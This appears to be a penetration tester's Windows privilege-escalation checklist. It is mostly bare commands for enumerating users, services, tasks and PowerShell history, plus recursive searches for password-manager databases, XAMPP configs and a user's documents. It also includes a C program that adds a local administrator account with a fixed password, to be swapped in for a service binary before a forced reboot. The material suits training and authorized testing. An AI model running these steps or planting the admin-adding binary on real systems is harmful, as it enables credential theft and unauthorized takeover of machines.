Quick Checklist

Check user info

whoami /groups

whoami /priv

net user steve

Get-LocalUser

Get-LocalGroup

Get-LocalGroupMember Administrators

Check system info

systeminfo

ipconfig /all

netstat -ano

Get PowerShell history

Get-History

Get history from PSReadLines

(Get-PSReadlineOption).HistorySavePath

Check all scheduled tasks

schtasks /query /fo LIST /v

Check installed applications

Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Check running processes

Get-Process

Search for all password manager databases

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Search for sensitive info in XAMPP config files

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Search for all text and doc files for user dave

Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

Search for sensitive info in XAMPP config files

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Check all services

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Check permission on a binary

icacls "C:\xampp\apache\bin\httpd.exe"

Create a small binary to add a user with admin privileges:

#include <stdlib.h>

int main ()
{
	int i;

	i = system ("net user dave2 password123! /add");
	i = system ("net localgroup administrators dave2 /add");

	return 0;
}

check the startup type of mysql service

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

issue a reboot

shutdown /r /t 0